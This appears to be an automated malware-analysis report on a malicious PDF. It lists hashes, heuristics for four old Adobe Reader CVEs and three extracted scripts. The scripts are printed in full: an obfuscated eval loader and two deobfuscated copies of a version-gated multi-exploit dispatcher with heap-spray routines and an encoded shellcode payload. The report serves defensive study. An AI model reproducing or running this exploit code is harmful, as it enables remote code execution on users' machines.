Malicious PDF — malware analysis report

Static analysis result for SHA-256 99a9814de7b0e29e…

MALICIOUS

PDF

32.6 KB Created: 2010-07-25 10:32:51 First seen: 2012-09-24
MD5: 128b7354b9c9e0362db80907b69fb9ad SHA-1: e1ed84883bfb310c2d6821cb956f8c1c7bd94928 SHA-256: 99a9814de7b0e29e6c3ec71fbf0d890fb6c52db8d09b7dbb6e41c2372129a935
448 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: Malicious JavaScript

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The ML classifier strongly flags this PDF as malicious. While no specific document body content or scripts were provided for detailed analysis, the presence of JavaScript within a PDF is a common technique for delivering exploits or downloading secondary payloads. The confidence is high due to the ML classifier's strong positive result.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x7E83 816 bytes
SHA-256: f9bacf82d0c4c5ead095b2deccf97854882f5aae28155d1908bddd4e8dcbcb01
Preview script
First 1,000 lines of the extracted script
xk = (function(){return this;}).call(null);
wzy = new Date();
var nai='';
var yq = 'e'+(parseInt(wzy.getFullYear())-1)+'a'+nai+'l';
es=xk[yq.replace('2009','v')];
function fk(){
	var yifi='',qebs=[];
	var nai='';
	es('va'+nai+'r sozf=th'+nai+'i'+nai+'s');
	es('va'+nai+'r dli=Str'+nai+'ing.f'+nai+'romC'+nai+'harCode');
	var ygda='prod' + wzy.getFullYear()+'er';
	var pdw = sozf[ygda.replace('2010','uc')];
	var wcq = '' + wzy.getFullYear() + nai + 'i'+nai+'t';
	var ef = 's' + wcq.replace('2010','pl');
	var mwba='2010';
	mwba = mwba.replace(wzy.getFullYear(),'');
	es('va'+mwba+'r n' + nai + 'r=[' + pdw + mwba + ']');
	var jqle = nr;
	wgwj='le'+nai+'ng'+nai+'th';
	var god = jqle[wgwj] / 2;
	for (var dp = 0; dp < god; dp++) {
		yifi += dli(jqle[dp+god] - jqle[dp]);
	}
	return yifi;
	}
	var iah=fk();
	es(iah);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery producer-halfdiff from raw PDF metadata at offset 0x0 3600 bytes
SHA-256: bdab8f44536eb043f4ca903c2e7df21414d09e974fc463b0e17dbaf146814e2d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var wp='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u1934%ue2aa%uc3fa%ue5e8%uffff%uf0ff%u1815%u1919%u9847%u45f5%u1918%u9019%u94fe%u0956%u7694%u284d%u4ec2%u4a48%u4a4a%u4a4a%u4a4a%u4a4c%u714a%u181d%u1919%u4f4c%u714a%u7776%u1919%u6c71%u756b%u4d74%u9771%u1757%uf1f5%u1951%u1919%uf149%u1965%u1919%uc9e6%udd9a%u7111%uf656%u1c56%uf149%u1975%u1919%uc9e6%ud99c%u0e6c%u4d73%uea40%u71b3%ue76b%u0faa%u04f1%u1919%u4919%u48f1%u1919%ue619%u4ac9%ue773%u9071%u1876%uf1a4%u1911%u1919%uf149%u1925%u1919%uc9e6%u2879%u7dd9%u4992%u9229%u154b%u4b92%u920d%u316b%u01a0%u1919%u2819%u28e6%ub5d9%u7825%u1b65%u3935%ud6d8%u1814%ufbde%u98e9%u42e6%u53a5%u9273%u095b%u0b92%uc06c%u5d90%u053d%uda78%u9279%u3d75%u923d%u255c%u4d92%u611c%uf318%u5392%u9201%u3943%uf218%u2dfa%u9250%u922d%uf718%ue628%ud928%ub5e5%ud99d%u1e6d%ud6d8%u1814%uf2de%u22ed%u3d65%u6c31%u92f8%u3d43%uf218%u927f%u5215%u4392%u1805%u92f2%u921d%uf118%u5d90%u053d%udb78%u1911%uf6f1%ue6e7%u71e6%u6d6d%u2369%u3636%u6e7e%u2a2a%u7a37%u3763%u7a7a%u7d36%u6937%u6971%u7f26%u2b24%u3f2c%u247c%u192a';function wm(kk,dex){while(kk.length*2<dex){kk+=kk;}
kk=kk.substring(0,dex/2);return kk;}
function ta(){var bvh=new Array();var eycj=0x0c0c0c0c;var addr=0x400000;var payload=unescape(wp);var sc_len=payload.length*2;var dex=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=wm(yarsp,dex);var count2=(eycj-0x400000)/addr;for(var count=0;count<count2;count++){bvh[count]=yarsp+payload;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(wp);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);}
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(wp);var hWq500CN=payload.length*2;var dex=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=wm(yarsp,dex);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;}
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}}
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){ta();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}}
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(wp);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from raw PDF metadata at offset 0x0 3596 bytes
SHA-256: 7b635ff564c8b690a5fd1706b26f12d13032a08d261b512626a145519261ffd8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var wp='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u1934%ue2aa%uc3fa%ue5e8%uffff%uf0ff%u1815%u1919%u9847%u45f5%u1918%u9019%u94fe%u0956%u7694%u284d%u4ec2%u4a48%u4a4a%u4a4a%u4a4a%u4a4c%u714a%u181d%u1919%u4f4c%u714a%u7776%u1919%u6c71%u756b%u4d74%u9771%u1757%uf1f5%u1951%u1919%uf149%u1965%u1919%uc9e6%udd9a%u7111%uf656%u1c56%uf149%u1975%u1919%uc9e6%ud99c%u0e6c%u4d73%uea40%u71b3%ue76b%u0faa%u04f1%u1919%u4919%u48f1%u1919%ue619%u4ac9%ue773%u9071%u1876%uf1a4%u1911%u1919%uf149%u1925%u1919%uc9e6%u2879%u7dd9%u4992%u9229%u154b%u4b92%u920d%u316b%u01a0%u1919%u2819%u28e6%ub5d9%u7825%u1b65%u3935%ud6d8%u1814%ufbde%u98e9%u42e6%u53a5%u9273%u095b%u0b92%uc06c%u5d90%u053d%uda78%u9279%u3d75%u923d%u255c%u4d92%u611c%uf318%u5392%u9201%u3943%uf218%u2dfa%u9250%u922d%uf718%ue628%ud928%ub5e5%ud99d%u1e6d%ud6d8%u1814%uf2de%u22ed%u3d65%u6c31%u92f8%u3d43%uf218%u927f%u5215%u4392%u1805%u92f2%u921d%uf118%u5d90%u053d%udb78%u1911%uf6f1%ue6e7%u71e6%u6d6d%u2369%u3636%u6e7e%u2a2a%u7a37%u3763%u7a7a%u7d36%u6937%u6971%u7f26%u2b24%u3f2c%u247c%u192a';function wm(kk,dex){while(kk.length*2<dex){kk+=kk;}
kk=kk.substring(0,dex/2);return kk;}
function ta(){var bvh=new Array();var eycj=0x0c0c0c0c;var addr=0x400000;var payload=unescape(wp);var sc_len=payload.length*2;var dex=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=wm(yarsp,dex);var count2=(eycj-0x400000)/addr;for(var count=0;count<count2;count++){bvh[count]=yarsp+payload;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(wp);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);}
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(wp);var hWq500CN=payload.length*2;var dex=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=wm(yarsp,dex);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;}
var tUMhNbGw=unescape("	");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}}
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){ta();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}}
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(wp);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}